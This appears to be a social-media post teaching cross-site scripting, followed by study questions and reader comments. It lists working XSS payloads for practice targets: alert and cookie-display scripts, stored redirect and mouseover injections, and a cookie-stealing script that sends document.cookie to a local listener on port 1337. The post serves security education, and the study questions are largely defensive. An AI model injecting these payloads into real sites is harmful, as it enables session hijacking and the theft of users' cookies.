Cross-Site Scripting (XSS)
Introduction
Cross-site scripting (XSS) attacks involve injecting malicious scripts into trusted websites, exploiting flaws in web applications that don't validate or encode user input properly. Attackers can send malicious scripts, usually in the form of browser-side scripts, to unsuspecting users. The compromised script can access sensitive information like cookies or session tokens, leading to potential security breaches.
Types of XSS
Non-Persistent or Type-I XSS or Reflected XSS
Type-II XSS or Stored XSS
XSS Attack Consequences
How to Identify Vulnerabilities
?XSS attacks occur when
Malicious content, usually JavaScript, is injected and enables attackers
How to Perform the XSS Attack
Overview
Targets for Practice
Example 1 – Injecting Tags
Enter <plaintext> in the search field.
Example 2 – Reflected XSS
<script>alert('XSS')</script>
Example 3 - Display the Cookies
<script>alert(document.cookie);</script>
It is important to handle user data carefully and respect privacy and security considerations when accessing cookies, subject to the same-origin policy.
Example 4 – HTML Comment Tag XSS stored
Enter "<!---" in the Message field.
Example 5 – Stored XSS via HTML Injection
<a >Hey, check out my site!</a>
Example 6 – Concealing Script in Image Alt Attribute
<img src="insert the image address" alt=""onload="javascript:alert('XSS')">
Example 7 – Automatic Redirect XSS stored
<script>window.location='https://www.google.com'</script>
领英推荐
Example 8 – Redirect on Mouseover (Broken Image) XSS stored
<img src=x onMouseOver=window.location='https://www.google.com'>
<img src="https://www.deepeddy.net/img/deepeddyfish.gif " alt=""<body onload="alert(String.fromCharCode (88,83,83))">
<img src="https://www.deepeddy.net/img/deepeddyfish.gif" alt=""onload="alert('XSS')">
<img src="https://www.deepeddy.net/img/deepeddyfish.gif" onMouseOver=window.location='https://www.google.com'>
Hover over the broken image to trigger the redirect.
Example 9 – Redirect on Mouseover (Empty Space) XSS stored
<p id="demo" onmouseover="myFunction()"> </p>
<script> function myFunction()
{
document.getElementById("demo").innerHTML = "<img src= onMouseOver=window.location='https://www.google.com'>";
}
</script>
Example 10 – DOM-based Attack XSS is stored
?<button onclick = "alert('xss')"> submit </button>
Example 11 – Capture the Victim Activity on the Attacker Server
Open the server
python3 -m http.server 1337
Run the script
<script> window.location = ‘https://127.0.0.1:1337/?cookie=’ + document.cookie </script>
Special Questions
What is the purpose of running python3 -m http.server 1337 in this scenario?
Explain the role of window.location in the provided script.
How does document.cookie retrieve the user's cookie information?
What does the URL https://127.0.0.1:1337/?cookie= represent in this context?
What happens when the script is executed on a webpage?
Why is it crucial for the attacker to open an HTTP server before running the script?
How could a user protect themselves from such attacks?
What potential risks does this script pose to user privacy and security?
In what ways can a web developer safeguard against such script-based attacks?
Explain the significance of the query parameter ?cookie= in the URL.
How does the <plaintext> tag exposes a vulnerability, and what security best practices should be implemented to prevent such issues?
Differentiate between reflected and stored XSS, providing real-world examples for each type from the scenarios.
Why is concealing a script within an image's alt attribute a security concern, and what measures can be taken to defend against such attacks?
Explain the technique employed to redirect mouseover with seeming space and discuss potential countermeasures to mitigate this attack.
Elaborate on DOM-based attacks and compare it with other XSS attack vectors.
How can security headers, such as Content Security Policy (CSP), be utilized to enhance web application security and mitigate XSS vulnerabilities?
Could you talk about the importance of input validation in preventing XSS attacks and provide examples of input validation techniques?
What role does client-side security play in preventing XSS, and how can JavaScript frameworks contribute to mitigating such vulnerabilities?
Could you explain the significance of the same-origin policy in the context of XSS attacks and how it helps prevent unauthorized data access?
Describe the role of browser extensions and plugins in XSS prevention and discuss potential risks associated with them.
Discuss the impact of XSS attacks on user privacy and data integrity, using examples from real-world incidents.
Evaluate the effectiveness of input validation mechanisms in preventing XSS attacks, considering scenarios where user input is dynamic and unpredictable.
How can the use of HTTP-only cookies contribute to the mitigation of XSS attacks, and what are the limitations of this approach?
Could you look into the impact of browser sandboxing on the prevention of XSS attacks and discuss any potential drawbacks or limitations?
In the context of XSS, discuss the challenges and considerations associated with securing legacy web applications.
Explore the potential risks associated with third-party content injection and the steps web developers can take to mitigate such risks.
Discuss the role of input validation in preventing DOM-based XSS attacks and provide examples of situations where traditional input validation may fall short.
Some Security Material
Nice share!
Embedded Software Development at Maskottchen
1 年???? Promoting security awareness is crucial in today's digital landscape. Kudos to spreading knowledge and empowering others to stay safe online! ????
Upcoming GRC Associate @RSM | Cyber Security Professional | Web3 Explorer | Content Creator
1 年Informational post Keshav Sinha Sir ji ??♂? Thanks for sharing the information Sir Ji ??♂?